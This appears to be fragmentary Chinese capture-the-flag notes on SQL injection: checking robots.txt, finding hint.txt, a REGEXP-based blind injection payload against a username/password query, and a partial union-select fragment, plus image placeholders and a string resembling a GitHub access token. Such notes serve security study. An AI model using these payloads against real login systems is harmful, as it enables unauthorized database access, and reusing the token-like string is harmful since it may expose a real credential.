image-20210921233949524

克制所有盲注和手工注入:

查询robots.txt

image-20210919191151363

发现hint.txt

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

REGEXP(regular expression)

select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/\"^a\";%00'


url?id =0 union select 1,group_concat()